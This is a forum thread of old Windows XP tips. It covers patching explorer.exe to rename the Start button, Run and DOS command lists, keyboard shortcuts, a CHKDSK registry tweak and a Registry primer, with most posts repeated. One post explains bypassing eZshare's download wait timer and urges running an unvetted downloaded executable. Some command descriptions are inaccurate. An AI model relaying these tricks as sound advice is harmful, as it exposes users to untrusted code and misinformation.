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COMPUTER TRICKS (HARDWARE & SOFTWARE)
- Thread starter wgdchathuranga_1
- Start date
rep+
Window's Tweak: Hack Your Start Button
Hack Your Start Button
1. First of all, make sure you download Resource Hacker. You'll need this puppy to edit resources inside your Windows shell.
2. Locate explorer.exe in your c:\Windows directory. Make a copy of the file in the same directory and rename it explorer.bak.
3. Now launch Resource Hacker. In the File menu, open explorer.exe. You'll now see a bunch of collapsed folders.
4. Expand the String Table folder and then find folder No. 37 (folder No. 38 if you're in Windows Classic mode).
5. Click on resource 1033 and locate the text that says "Start." This is your Start button, and now you've got control over what it says! Change the "Start" text to your text of choice. You don't have a character limit, but the text
takes up valuable taskbar space, so don't make it too long.
6. Click on the button labeled Compile Script. This updates the settings for your Start button. But nothing will happen until you complete through step #20, so keep going!
Change your hover text
7. While you're here, why not also change the text that pops up when your mouse hovers over your Start button?
8. Right now it says "Click here to begin." Well, duh! We already know that's where to begin!
9. Open folder No. 34 and click on resource 1033.
10. Find the text that says "Click here to begin" and change it to something cooler. Might I suggest "Click here for a good time, baby."
11. Click on the Compile Script button to update this resource.
Customize your Start icon
12. For an added bonus, you can also change the Windows icon to the left of the text, too.
13. Collapse the String Table folder and expand the Bitmap folder at the top of your folder list.
14. Click on folder No. 143 and click on resource 1033. You should see that familiar Windows icon.
15. Go to the Action Menu and select "Replace bitmap." Select "Open file with new bitmap", and locate the replacement image on your machine. Note: The image must have a .bmp extension and a size of 25 pixels by 20 pixels. Then click the Replace button.
Here's the image I've been using instead of the Windows icon, in case you want to use it.
16. Now that you've made your changes, save the file in your Windows folder with another name, such as newstartbutton.exe. Don't name it Explorer.exe, because that file is already being used by your system. Close all open programs and restart your system.
17. Boot into Safe Mode With Command Prompt by pressing F8 on startup. Then choose Safe Mode in the command prompt.
18. Log on as administrator and enter your password.
19. When the command prompt comes up, make sure you're in the right directory by typing "cd c:\windows" (without the quotes).
20. Now type "copy c:\windows\newstartbutton.exe c:\windows\explorer.exe" (no quotes). Type "yes" (no quotes) to overwrite the existing file, then restart your system by typing "shutdown -r" (no quotes).
When Windows relaunches, you'll see your new Start button in all its glory!
________________________________________
Hack Your Start Button
1. First of all, make sure you download Resource Hacker. You'll need this puppy to edit resources inside your Windows shell.
2. Locate explorer.exe in your c:\Windows directory. Make a copy of the file in the same directory and rename it explorer.bak.
3. Now launch Resource Hacker. In the File menu, open explorer.exe. You'll now see a bunch of collapsed folders.
4. Expand the String Table folder and then find folder No. 37 (folder No. 38 if you're in Windows Classic mode).
5. Click on resource 1033 and locate the text that says "Start." This is your Start button, and now you've got control over what it says! Change the "Start" text to your text of choice. You don't have a character limit, but the text
takes up valuable taskbar space, so don't make it too long.
6. Click on the button labeled Compile Script. This updates the settings for your Start button. But nothing will happen until you complete through step #20, so keep going!
Change your hover text
7. While you're here, why not also change the text that pops up when your mouse hovers over your Start button?
8. Right now it says "Click here to begin." Well, duh! We already know that's where to begin!
9. Open folder No. 34 and click on resource 1033.
10. Find the text that says "Click here to begin" and change it to something cooler. Might I suggest "Click here for a good time, baby."
11. Click on the Compile Script button to update this resource.
Customize your Start icon
12. For an added bonus, you can also change the Windows icon to the left of the text, too.
13. Collapse the String Table folder and expand the Bitmap folder at the top of your folder list.
14. Click on folder No. 143 and click on resource 1033. You should see that familiar Windows icon.
15. Go to the Action Menu and select "Replace bitmap." Select "Open file with new bitmap", and locate the replacement image on your machine. Note: The image must have a .bmp extension and a size of 25 pixels by 20 pixels. Then click the Replace button.
Here's the image I've been using instead of the Windows icon, in case you want to use it.
16. Now that you've made your changes, save the file in your Windows folder with another name, such as newstartbutton.exe. Don't name it Explorer.exe, because that file is already being used by your system. Close all open programs and restart your system.
17. Boot into Safe Mode With Command Prompt by pressing F8 on startup. Then choose Safe Mode in the command prompt.
18. Log on as administrator and enter your password.
19. When the command prompt comes up, make sure you're in the right directory by typing "cd c:\windows" (without the quotes).
20. Now type "copy c:\windows\newstartbutton.exe c:\windows\explorer.exe" (no quotes). Type "yes" (no quotes) to overwrite the existing file, then restart your system by typing "shutdown -r" (no quotes).
When Windows relaunches, you'll see your new Start button in all its glory!
________________________________________
Windows Shortcuts
Windows Shortcuts
Run Commands
Quote:
compmgmt.msc - Computer management
devmgmt.msc - Device manager
diskmgmt.msc - Disk management
dfrg.msc - Disk defrag
eventvwr.msc - Event viewer
fsmgmt.msc - Shared folders
gpedit.msc - Group policies
lusrmgr.msc - Local users and groups
perfmon.msc - Performance monitor
rsop.msc - Resultant set of policies
secpol.msc - Local security settings
services.msc - Various Services
msconfig - System Configuration Utility
regedit - Registry Editor
msinfo32 _ System Information
sysedit _ System Edit
win.ini _ windows loading information(also system.ini)
winver _ Shows current version of windows
mailto: _ Opens default email client
command _ Opens command prompt
Run Commands to access the control panel:
Quote:
Add/Remove Programs control appwiz.cpl
Date/Time Properties control timedate.cpl
Display Properties control desk.cpl
FindFast control findfast.cpl
Fonts Folder control fonts
Internet Properties control inetcpl.cpl
Keyboard Properties control main.cpl keyboard
Mouse Properties control main.cpl
Multimedia Properties control mmsys.cpl
Network Properties control netcpl.cpl
Password Properties control password.cpl
Printers Folder control printers
Sound Properties control mmsys.cpl sounds
System Properties control sysdm.cpl
Command Prompt:
Quote:
ANSI.SYS Defines functions that change display graphics, control cursor movement, and reassign keys.
APPEND Causes MS-DOS to look in other directories when editing a file or running a command.
ARP Displays, adds, and removes arp information from network devices.
ASSIGN Assign a drive letter to an alternate letter.
ASSOC View the file associations.
AT Schedule a time to execute commands or programs.
ATMADM Lists connections and addresses seen by Windows ATM call manager.
ATTRIB Display and change file attributes.
BATCH Recovery console command that executes a series of commands in a file.
BOOTCFG Recovery console command that allows a user to view, modify, and rebuild the boot.ini
BREAK Enable / disable CTRL + C feature.
CACLS View and modify file ACL's.
CALL Calls a batch file from another batch file.
CD Changes directories.
CHCP Supplement the International keyboard and character set information.
CHDIR Changes directories.
CHKDSK Check the hard disk drive running FAT for errors.
CHKNTFS Check the hard disk drive running NTFS for errors.
CHOICE Specify a listing of multiple options within a batch file.
CLS Clears the screen.
CMD Opens the command interpreter.
COLOR Easily change the foreground and background color of the MS-DOS window.
COMP Compares files.
COMPACT Compresses and uncompress files.
CONTROL Open control panel icons from the MS-DOS prompt.
CONVERT Convert FAT to NTFS.
COPY Copy one or more files to an alternate location.
CTTY Change the computers input/output devices.
DATE View or change the systems date.
DEBUG Debug utility to create assembly programs to modify hardware settings.
DEFRAG Re-arrange the hard disk drive to help with loading programs.
DEL Deletes one or more files.
DELETE Recovery console command that deletes a file.
DELTREE Deletes one or more files and/or directories.
DIR List the contents of one or more directory.
DISABLE Recovery console command that disables Windows system services or drivers.
DISKCOMP Compare a disk with another disk.
DISKCOPY Copy the contents of one disk and place them on another disk.
DOSKEY Command to view and execute commands that have been run in the past.
DOSSHELL A GUI to help with early MS-DOS users.
DRIVPARM Enables overwrite of original device drivers.
ECHO Displays messages and enables and disables echo.
EDIT View and edit files.
EDLIN View and edit files.
EMM386 Load extended Memory Manager.
ENABLE Recovery console command to enable a disable service or driver.
ENDLOCAL Stops the localization of the environment changes enabled by the setlocal command.
ERASE Erase files from computer.
EXIT Exit from the command interpreter.
EXPAND Expand a M*cros*ft Windows file back to it's original format.
EXTRACT Extract files from the M*cros*ft Windows cabinets.
FASTHELP Displays a listing of MS-DOS commands and information about them.
FC Compare files.
FDISK Utility used to create partitions on the hard disk drive.
FIND Search for text within a file.
FINDSTR Searches for a string of text within a file.
FIXBOOT Writes a new boot sector.
FIXMBR Writes a new boot record to a disk drive.
FOR Boolean used in batch files.
FORMAT Command to erase and prepare a disk drive.
FTP Command to connect and operate on a FTP server.
FTYPE Displays or modifies file types used in file extension associations.
GOTO Moves a batch file to a specific label or location.
GRAFTABL Show extended characters in graphics mode.
HELP Display a listing of commands and brief explanation.
IF Allows for batch files to perform conditional processing.
IFSHLP.SYS 32-bit file manager.
IPCONFIG Network command to view network adapter settings and assigned values.
KEYB Change layout of keyboard.
LABEL Change the label of a disk drive.
LH Load a device driver in to high memory.
LISTSVC Recovery console command that displays the services and drivers.
LOADFIX Load a program above the first 64k.
LOADHIGH Load a device driver in to high memory.
LOCK Lock the hard disk drive.
LOGON Recovery console command to list installations and enable administrator login.
MAP Displays the device name of a drive.
MD Command to create a new directory.
MEM Display memory on system.
MKDIR Command to create a new directory.
MODE Modify the port or display settings.
MORE Display one page at a time.
MOVE Move one or more files from one directory to another directory.
MSAV Early M*cros*ft Virus scanner.
MSD Diagnostics utility.
MSCDEX Utility used to load and provide access to the CD-ROM.
NBTSTAT Displays protocol statistics and current TCP/IP connections using NBT
NET Update, fix, or view the network or network settings
NETSH Configure dynamic and static network information from MS-DOS.
NETSTAT Display the TCP/IP network protocol statistics and information.
NLSFUNC Load country specific information.
NSLOOKUP Look up an IP address of a domain or host on a network.
PATH View and modify the computers path location.
PATHPING View and locate locations of network latency.
PAUSE Command used in batch files to stop the processing of a command.
PING Test / send information to another network computer or network device.
POPD Changes to the directory or network path stored by the pushd command.
POWER Conserve power with computer portables.
PRINT Prints data to a printer port.
PROMPT View and change the MS-DOS prompt.
PUSHD Stores a directory or network path in memory so it can be returned to at any time.
QBASIC Open the QBasic.
RD Removes an empty directory.
REN Renames a file or directory.
RENAME Renames a file or directory.
RMDIR Removes an empty directory.
ROUTE View and configure windows network route tables.
RUNAS Enables a user to execute a program on another computer.
SCANDISK Run the scandisk utility.
SCANREG Scan registry and recover registry from errors.
SET Change one variable or string to another.
SETLOCAL Enables local environments to be changed without affecting anything else.
SETVER Change MS-DOS version to trick older MS-DOS programs.
SHARE Installs support for file sharing and locking capabilities.
SHIFT Changes the position of replaceable parameters in a batch program.
SHUTDOWN Shutdown the computer from the MS-DOS prompt.
SMARTDRV Create a disk cache in conventional memory or extended memory.
SORT Sorts the input and displays the output to the screen.
START Start a separate window in Windows from the MS-DOS prompt.
SUBST Substitute a folder on your computer for another drive letter.
SWITCHES Remove add functions from MS-DOS.
SYS Transfer system files to disk drive.
TELNET Telnet to another computer / device from the prompt.
TIME View or modify the system time.
TITLE Change the title of their MS-DOS window.
TRACERT Visually view a network packets route across a network.
TREE View a visual tree of the hard disk drive.
TYPE Display the contents of a file.
UNDELETE Undelete a file that has been deleted.
UNFORMAT Unformat a hard disk drive.
UNLOCK Unlock a disk drive.
VER Display the version information.
VERIFY Enables or disables the feature to determine if files have been written properly.
VOL Displays the volume information about the designated drive.
XCOPY Copy multiple files, directories, and/or drives from one location to another.
TRUENAME When placed before a file, will display the whole directory in which it exists
TASKKILL It allows you to kill those unneeded or locked up applications
Windows XP Shortcuts:
Quote:
ALT+- (ALT+hyphen) Displays the Multiple Document Interface (MDI) child window's System menu
ALT+ENTER View properties for the selected item
ALT+ESC Cycle through items in the order they were opened
ALT+F4 Close the active item, or quit the active program
ALT+SPACEBAR Display the System menu for the active window
ALT+TAB Switch between open items
ALT+Underlined letter Display the corresponding menu
BACKSPACE View the folder one level up in My Computer or Windows Explorer
CTRL+A Select all
CTRL+B Bold
CTRL+C Copy
CTRL+I Italics
CTRL+O Open an item
CTRL+U Underline
CTRL+V Paste
CTRL+X Cut
CTRL+Z Undo
CTRL+F4 Close the active document
CTRL while dragging Copy selected item
CTRL+SHIFT while dragging Create shortcut to selected iteM
CTRL+RIGHT ARROW Move the insertion point to the beginning of the next word
CTRL+LEFT ARROW Move the insertion point to the beginning of the previous word
CTRL+DOWN ARROW Move the insertion point to the beginning of the next paragraph
CTRL+UP ARROW Move the insertion point to the beginning of the previous paragraph
SHIFT+DELETE Delete selected item permanently without placing the item in the Recycle Bin
ESC Cancel the current task
F1 Displays Help
F2 Rename selected item
F3 Search for a file or folder
F4 Display the Address bar list in My Computer or Windows Explorer
F5 Refresh the active window
F6 Cycle through screen elements in a window or on the desktop
F10 Activate the menu bar in the active program
SHIFT+F10 Display the shortcut menu for the selected item
CTRL+ESC Display the Start menu
SHIFT+CTRL+ESC Launches Task Manager
SHIFT when you insert a CD Prevent the CD from automatically playing
WIN Display or hide the Start menu
WIN+BREAK Display the System Properties dialog box
WIN+D Minimizes all Windows and shows the Desktop
WIN+E Open Windows Explorer
WIN+F Search for a file or folder
WIN+F+CTRL Search for computers
WIN+L Locks the desktop
WIN+M Minimize or restore all windows
WIN+R Open the Run dialog box
WIN+TAB Switch between open items
Windows Explorer Shortcuts:
Quote:
ALT+SPACEBAR - Display the current window’s system menu
SHIFT+F10 - Display the item's context menu
CTRL+ESC - Display the Start menu
ALT+TAB - Switch to the window you last used
ALT+F4 - Close the current window or quit
CTRL+A - Select all items
CTRL+X - Cut selected item(s)
CTRL+C - Copy selected item(s)
CTRL+V - Paste item(s)
CTRL+Z - Undo last action
CTRL+(+) - Automatically resize the columns in the right hand pane
TAB - Move forward through options
ALT+RIGHT ARROW - Move forward to a previous view
ALT+LEFT ARROW - Move backward to a previous view
SHIFT+DELETE - Delete an item immediately
BACKSPACE - View the folder one level up
ALT+ENTER - View an item’s properties
F10 - Activate the menu bar in programs
F6 - Switch between left and right panes
F5 - Refresh window contents
F3 - Display Find application
F2 - Rename selected item
Internet Explorer Shortcuts:
Quote:
CTRL+A - Select all items on the current page
CTRL+D - Add the current page to your Favorites
CTRL+E - Open the Search bar
CTRL+F - Find on this page
CTRL+H - Open the History bar
CTRL+I - Open the Favorites bar
CTRL+N - Open a new window
CTRL+O - Go to a new location
CTRL+P - Print the current page or active frame
CTRL+S - Save the current page
CTRL+W - Close current browser window
CTRL+ENTER - Adds the http://www. (url) .com
SHIFT+CLICK - Open link in new window
BACKSPACE - Go to the previous page
ALT+HOME - Go to your Home page
HOME - Move to the beginning of a document
TAB - Move forward through items on a page
END - Move to the end of a document
ESC - Stop downloading a page
F11 - Toggle full-screen view
F5 - Refresh the current page
F4 - Display list of typed addresses
F6 - Change Address bar and page focus
ALT+RIGHT ARROW - Go to the next page
SHIFT+CTRL+TAB - Move back between frames
SHIFT+F10 - Display a shortcut menu for a link
SHIFT+TAB - Move back through the items on a page
CTRL+TAB - Move forward between frames
CTRL+C - Copy selected items to the clipboard
CTRL+V - Insert contents of the clipboard
ENTER - Activate a selected link
HOME - Move to the beginning of a document
END - Move to the end of a document
F1 - Display Internet Explorer Help
Windows Shortcuts
Run Commands
Quote:
compmgmt.msc - Computer management
devmgmt.msc - Device manager
diskmgmt.msc - Disk management
dfrg.msc - Disk defrag
eventvwr.msc - Event viewer
fsmgmt.msc - Shared folders
gpedit.msc - Group policies
lusrmgr.msc - Local users and groups
perfmon.msc - Performance monitor
rsop.msc - Resultant set of policies
secpol.msc - Local security settings
services.msc - Various Services
msconfig - System Configuration Utility
regedit - Registry Editor
msinfo32 _ System Information
sysedit _ System Edit
win.ini _ windows loading information(also system.ini)
winver _ Shows current version of windows
mailto: _ Opens default email client
command _ Opens command prompt
Run Commands to access the control panel:
Quote:
Add/Remove Programs control appwiz.cpl
Date/Time Properties control timedate.cpl
Display Properties control desk.cpl
FindFast control findfast.cpl
Fonts Folder control fonts
Internet Properties control inetcpl.cpl
Keyboard Properties control main.cpl keyboard
Mouse Properties control main.cpl
Multimedia Properties control mmsys.cpl
Network Properties control netcpl.cpl
Password Properties control password.cpl
Printers Folder control printers
Sound Properties control mmsys.cpl sounds
System Properties control sysdm.cpl
Command Prompt:
Quote:
ANSI.SYS Defines functions that change display graphics, control cursor movement, and reassign keys.
APPEND Causes MS-DOS to look in other directories when editing a file or running a command.
ARP Displays, adds, and removes arp information from network devices.
ASSIGN Assign a drive letter to an alternate letter.
ASSOC View the file associations.
AT Schedule a time to execute commands or programs.
ATMADM Lists connections and addresses seen by Windows ATM call manager.
ATTRIB Display and change file attributes.
BATCH Recovery console command that executes a series of commands in a file.
BOOTCFG Recovery console command that allows a user to view, modify, and rebuild the boot.ini
BREAK Enable / disable CTRL + C feature.
CACLS View and modify file ACL's.
CALL Calls a batch file from another batch file.
CD Changes directories.
CHCP Supplement the International keyboard and character set information.
CHDIR Changes directories.
CHKDSK Check the hard disk drive running FAT for errors.
CHKNTFS Check the hard disk drive running NTFS for errors.
CHOICE Specify a listing of multiple options within a batch file.
CLS Clears the screen.
CMD Opens the command interpreter.
COLOR Easily change the foreground and background color of the MS-DOS window.
COMP Compares files.
COMPACT Compresses and uncompress files.
CONTROL Open control panel icons from the MS-DOS prompt.
CONVERT Convert FAT to NTFS.
COPY Copy one or more files to an alternate location.
CTTY Change the computers input/output devices.
DATE View or change the systems date.
DEBUG Debug utility to create assembly programs to modify hardware settings.
DEFRAG Re-arrange the hard disk drive to help with loading programs.
DEL Deletes one or more files.
DELETE Recovery console command that deletes a file.
DELTREE Deletes one or more files and/or directories.
DIR List the contents of one or more directory.
DISABLE Recovery console command that disables Windows system services or drivers.
DISKCOMP Compare a disk with another disk.
DISKCOPY Copy the contents of one disk and place them on another disk.
DOSKEY Command to view and execute commands that have been run in the past.
DOSSHELL A GUI to help with early MS-DOS users.
DRIVPARM Enables overwrite of original device drivers.
ECHO Displays messages and enables and disables echo.
EDIT View and edit files.
EDLIN View and edit files.
EMM386 Load extended Memory Manager.
ENABLE Recovery console command to enable a disable service or driver.
ENDLOCAL Stops the localization of the environment changes enabled by the setlocal command.
ERASE Erase files from computer.
EXIT Exit from the command interpreter.
EXPAND Expand a M*cros*ft Windows file back to it's original format.
EXTRACT Extract files from the M*cros*ft Windows cabinets.
FASTHELP Displays a listing of MS-DOS commands and information about them.
FC Compare files.
FDISK Utility used to create partitions on the hard disk drive.
FIND Search for text within a file.
FINDSTR Searches for a string of text within a file.
FIXBOOT Writes a new boot sector.
FIXMBR Writes a new boot record to a disk drive.
FOR Boolean used in batch files.
FORMAT Command to erase and prepare a disk drive.
FTP Command to connect and operate on a FTP server.
FTYPE Displays or modifies file types used in file extension associations.
GOTO Moves a batch file to a specific label or location.
GRAFTABL Show extended characters in graphics mode.
HELP Display a listing of commands and brief explanation.
IF Allows for batch files to perform conditional processing.
IFSHLP.SYS 32-bit file manager.
IPCONFIG Network command to view network adapter settings and assigned values.
KEYB Change layout of keyboard.
LABEL Change the label of a disk drive.
LH Load a device driver in to high memory.
LISTSVC Recovery console command that displays the services and drivers.
LOADFIX Load a program above the first 64k.
LOADHIGH Load a device driver in to high memory.
LOCK Lock the hard disk drive.
LOGON Recovery console command to list installations and enable administrator login.
MAP Displays the device name of a drive.
MD Command to create a new directory.
MEM Display memory on system.
MKDIR Command to create a new directory.
MODE Modify the port or display settings.
MORE Display one page at a time.
MOVE Move one or more files from one directory to another directory.
MSAV Early M*cros*ft Virus scanner.
MSD Diagnostics utility.
MSCDEX Utility used to load and provide access to the CD-ROM.
NBTSTAT Displays protocol statistics and current TCP/IP connections using NBT
NET Update, fix, or view the network or network settings
NETSH Configure dynamic and static network information from MS-DOS.
NETSTAT Display the TCP/IP network protocol statistics and information.
NLSFUNC Load country specific information.
NSLOOKUP Look up an IP address of a domain or host on a network.
PATH View and modify the computers path location.
PATHPING View and locate locations of network latency.
PAUSE Command used in batch files to stop the processing of a command.
PING Test / send information to another network computer or network device.
POPD Changes to the directory or network path stored by the pushd command.
POWER Conserve power with computer portables.
PRINT Prints data to a printer port.
PROMPT View and change the MS-DOS prompt.
PUSHD Stores a directory or network path in memory so it can be returned to at any time.
QBASIC Open the QBasic.
RD Removes an empty directory.
REN Renames a file or directory.
RENAME Renames a file or directory.
RMDIR Removes an empty directory.
ROUTE View and configure windows network route tables.
RUNAS Enables a user to execute a program on another computer.
SCANDISK Run the scandisk utility.
SCANREG Scan registry and recover registry from errors.
SET Change one variable or string to another.
SETLOCAL Enables local environments to be changed without affecting anything else.
SETVER Change MS-DOS version to trick older MS-DOS programs.
SHARE Installs support for file sharing and locking capabilities.
SHIFT Changes the position of replaceable parameters in a batch program.
SHUTDOWN Shutdown the computer from the MS-DOS prompt.
SMARTDRV Create a disk cache in conventional memory or extended memory.
SORT Sorts the input and displays the output to the screen.
START Start a separate window in Windows from the MS-DOS prompt.
SUBST Substitute a folder on your computer for another drive letter.
SWITCHES Remove add functions from MS-DOS.
SYS Transfer system files to disk drive.
TELNET Telnet to another computer / device from the prompt.
TIME View or modify the system time.
TITLE Change the title of their MS-DOS window.
TRACERT Visually view a network packets route across a network.
TREE View a visual tree of the hard disk drive.
TYPE Display the contents of a file.
UNDELETE Undelete a file that has been deleted.
UNFORMAT Unformat a hard disk drive.
UNLOCK Unlock a disk drive.
VER Display the version information.
VERIFY Enables or disables the feature to determine if files have been written properly.
VOL Displays the volume information about the designated drive.
XCOPY Copy multiple files, directories, and/or drives from one location to another.
TRUENAME When placed before a file, will display the whole directory in which it exists
TASKKILL It allows you to kill those unneeded or locked up applications
Windows XP Shortcuts:
Quote:
ALT+- (ALT+hyphen) Displays the Multiple Document Interface (MDI) child window's System menu
ALT+ENTER View properties for the selected item
ALT+ESC Cycle through items in the order they were opened
ALT+F4 Close the active item, or quit the active program
ALT+SPACEBAR Display the System menu for the active window
ALT+TAB Switch between open items
ALT+Underlined letter Display the corresponding menu
BACKSPACE View the folder one level up in My Computer or Windows Explorer
CTRL+A Select all
CTRL+B Bold
CTRL+C Copy
CTRL+I Italics
CTRL+O Open an item
CTRL+U Underline
CTRL+V Paste
CTRL+X Cut
CTRL+Z Undo
CTRL+F4 Close the active document
CTRL while dragging Copy selected item
CTRL+SHIFT while dragging Create shortcut to selected iteM
CTRL+RIGHT ARROW Move the insertion point to the beginning of the next word
CTRL+LEFT ARROW Move the insertion point to the beginning of the previous word
CTRL+DOWN ARROW Move the insertion point to the beginning of the next paragraph
CTRL+UP ARROW Move the insertion point to the beginning of the previous paragraph
SHIFT+DELETE Delete selected item permanently without placing the item in the Recycle Bin
ESC Cancel the current task
F1 Displays Help
F2 Rename selected item
F3 Search for a file or folder
F4 Display the Address bar list in My Computer or Windows Explorer
F5 Refresh the active window
F6 Cycle through screen elements in a window or on the desktop
F10 Activate the menu bar in the active program
SHIFT+F10 Display the shortcut menu for the selected item
CTRL+ESC Display the Start menu
SHIFT+CTRL+ESC Launches Task Manager
SHIFT when you insert a CD Prevent the CD from automatically playing
WIN Display or hide the Start menu
WIN+BREAK Display the System Properties dialog box
WIN+D Minimizes all Windows and shows the Desktop
WIN+E Open Windows Explorer
WIN+F Search for a file or folder
WIN+F+CTRL Search for computers
WIN+L Locks the desktop
WIN+M Minimize or restore all windows
WIN+R Open the Run dialog box
WIN+TAB Switch between open items
Windows Explorer Shortcuts:
Quote:
ALT+SPACEBAR - Display the current window’s system menu
SHIFT+F10 - Display the item's context menu
CTRL+ESC - Display the Start menu
ALT+TAB - Switch to the window you last used
ALT+F4 - Close the current window or quit
CTRL+A - Select all items
CTRL+X - Cut selected item(s)
CTRL+C - Copy selected item(s)
CTRL+V - Paste item(s)
CTRL+Z - Undo last action
CTRL+(+) - Automatically resize the columns in the right hand pane
TAB - Move forward through options
ALT+RIGHT ARROW - Move forward to a previous view
ALT+LEFT ARROW - Move backward to a previous view
SHIFT+DELETE - Delete an item immediately
BACKSPACE - View the folder one level up
ALT+ENTER - View an item’s properties
F10 - Activate the menu bar in programs
F6 - Switch between left and right panes
F5 - Refresh window contents
F3 - Display Find application
F2 - Rename selected item
Internet Explorer Shortcuts:
Quote:
CTRL+A - Select all items on the current page
CTRL+D - Add the current page to your Favorites
CTRL+E - Open the Search bar
CTRL+F - Find on this page
CTRL+H - Open the History bar
CTRL+I - Open the Favorites bar
CTRL+N - Open a new window
CTRL+O - Go to a new location
CTRL+P - Print the current page or active frame
CTRL+S - Save the current page
CTRL+W - Close current browser window
CTRL+ENTER - Adds the http://www. (url) .com
SHIFT+CLICK - Open link in new window
BACKSPACE - Go to the previous page
ALT+HOME - Go to your Home page
HOME - Move to the beginning of a document
TAB - Move forward through items on a page
END - Move to the end of a document
ESC - Stop downloading a page
F11 - Toggle full-screen view
F5 - Refresh the current page
F4 - Display list of typed addresses
F6 - Change Address bar and page focus
ALT+RIGHT ARROW - Go to the next page
SHIFT+CTRL+TAB - Move back between frames
SHIFT+F10 - Display a shortcut menu for a link
SHIFT+TAB - Move back through the items on a page
CTRL+TAB - Move forward between frames
CTRL+C - Copy selected items to the clipboard
CTRL+V - Insert contents of the clipboard
ENTER - Activate a selected link
HOME - Move to the beginning of a document
END - Move to the end of a document
F1 - Display Internet Explorer Help
Change the CHKDSK countdown time
Change the CHKDSK countdown time
When you schedule CHKDSK to run at the next boot, the system will prompt you to press a key to cancel the operation while CHKDSK is running. The system will display a countdown during that cancel period. The default value is 10 seconds. To Change this open up Regedit and locate:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\AutoChkTimeOut
You can change the value to anything from zero to 259,200 seconds (3 days). With a timeout of zero, there is no countdown and you cannot cancel the operation
Change the CHKDSK countdown time
When you schedule CHKDSK to run at the next boot, the system will prompt you to press a key to cancel the operation while CHKDSK is running. The system will display a countdown during that cancel period. The default value is 10 seconds. To Change this open up Regedit and locate:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\AutoChkTimeOut
You can change the value to anything from zero to 259,200 seconds (3 days). With a timeout of zero, there is no countdown and you cannot cancel the operation
Why wait 35 Seconds at eZshare
Why wait 35 Seconds at eZshare
The eZshare site, uses a simple javascript function to encode the generated url link and make us wait for 35 seconds before its decoded and shown. Instead of waiting one can view the source of the page and copy the contents that start with 'unescape'
for example
Code:
unescape('%3C%68%32%3E%3C%66%6F%6E%74%20%63%6F%6C%6F%72%3D%22%23%43%43%30%30%30%30
%22%3E%20%44%6F%77%6E%6C%6F%61%64%3A%3C%2F%66%6F%6E%74%3E%20%3C%61%20%68%72%65%
66%3D%22%68%74%74%70%3A%2F%2F%65%7A%73%68%61%72%65%2E%64%65%2F%66%69%6C%65%73%2D
%65%6E%2F%31%39%38%33%33%38%2F%31%38%34%2F%69%70%69%63%6F%6E%7A%2E%72%61%72%22%3E
%69%70%69%63%6F%6E%7A%2E%72%61%72%3C%2F%61%3E%3C%2F%68%32%3E')
and can use a simple decoder html page.
Code:
http://www.linkedresources.com/tools/unescaper_v0.2b1.html
it works offline..as it uses only javascript..so you guys can save it.
Instead of viewing the source ..copy'g ...converting... VB app which does that...just paste the link
eg.
Code:
Http://ezshare.de/files-en/199567/ezShare.rar.html
in the text field and click 'Get Link', the app copies the download link to clipboard.
The app does not contain any malicious code...the code is also in the rar file, in order to run extract the .exe and .html in a directory and run the exe.
The app does not contain any error checking code.. if it does throws any errors..just open the code..its simple Wink
Code:
http://ezshare.de/files-en/199567/ezShare.rar.html
or
http://ezshare.de/files-de/199567/ezShare.rar.html
Why wait 35 Seconds at eZshare
The eZshare site, uses a simple javascript function to encode the generated url link and make us wait for 35 seconds before its decoded and shown. Instead of waiting one can view the source of the page and copy the contents that start with 'unescape'
for example
Code:
unescape('%3C%68%32%3E%3C%66%6F%6E%74%20%63%6F%6C%6F%72%3D%22%23%43%43%30%30%30%30
%22%3E%20%44%6F%77%6E%6C%6F%61%64%3A%3C%2F%66%6F%6E%74%3E%20%3C%61%20%68%72%65%
66%3D%22%68%74%74%70%3A%2F%2F%65%7A%73%68%61%72%65%2E%64%65%2F%66%69%6C%65%73%2D
%65%6E%2F%31%39%38%33%33%38%2F%31%38%34%2F%69%70%69%63%6F%6E%7A%2E%72%61%72%22%3E
%69%70%69%63%6F%6E%7A%2E%72%61%72%3C%2F%61%3E%3C%2F%68%32%3E')
and can use a simple decoder html page.
Code:
http://www.linkedresources.com/tools/unescaper_v0.2b1.html
it works offline..as it uses only javascript..so you guys can save it.
Instead of viewing the source ..copy'g ...converting... VB app which does that...just paste the link
eg.
Code:
Http://ezshare.de/files-en/199567/ezShare.rar.html
in the text field and click 'Get Link', the app copies the download link to clipboard.
The app does not contain any malicious code...the code is also in the rar file, in order to run extract the .exe and .html in a directory and run the exe.
The app does not contain any error checking code.. if it does throws any errors..just open the code..its simple Wink
Code:
http://ezshare.de/files-en/199567/ezShare.rar.html
or
http://ezshare.de/files-de/199567/ezShare.rar.html
What is the Registry
What is the Registry?
The Registry is a database used to store settings and options for the 32 bit versions of Microsoft Windows including Windows 95, 98, ME and NT/2000. It contains information and settings for all the hardware, software, users, and preferences of the PC. Whenever a user makes changes to a Control Panel settings, or File Associations, System Policies, or installed software, the changes are reflected and stored in the Registry.
The physical files that make up the registry are stored differently depending on your version of Windows; under Windows 95 & 98 it is contained in two hidden files in your Windows directory, called USER.DAT and SYSTEM.DAT, for Windows Me there is an additional CLASSES.DAT file, while under Windows NT/2000 the files are contained seperately in the %SystemRoot%\System32\Config directory. You can not edit these files directly, you must use a tool commonly known as a "Registry Editor" to make any changes (using registry editors will be discussed later in the article).
The Structure of The Registry
The Registry has a hierarchal structure, although it looks complicated the structure is similar to the directory structure on your hard disk, with Regedit being similar to Windows Explorer.
Each main branch (denoted by a folder icon in the Registry Editor, see left) is called a Hive, and Hives contains Keys. Each key can contain other keys (sometimes referred to as sub-keys), as well as Values. The values contain the actual information stored in the Registry. There are three types of values; String, Binary, and DWORD - the use of these depends upon the context.
There are six main branches, each containing a specific portion of the information stored in the Registry. They are as follows:
* HKEY_CLASSES_ROOT - This branch contains all of your file association mappings to support the drag-and-drop feature, OLE information, Windows shortcuts, and core aspects of the Windows user interface.
* HKEY_CURRENT_USER - This branch links to the section of HKEY_USERS appropriate for the user currently logged onto the PC and contains information such as logon names, desktop settings, and Start menu settings.
* HKEY_LOCAL_MACHINE - This branch contains computer specific information about the type of hardware, software, and other preferences on a given PC, this information is used for all users who log onto this computer.
* HKEY_USERS - This branch contains individual preferences for each user of the computer, each user is represented by a SID sub-key located under the main branch.
* HKEY_CURRENT_CONFIG - This branch links to the section of HKEY_LOCAL_MACHINE appropriate for the current hardware configuration.
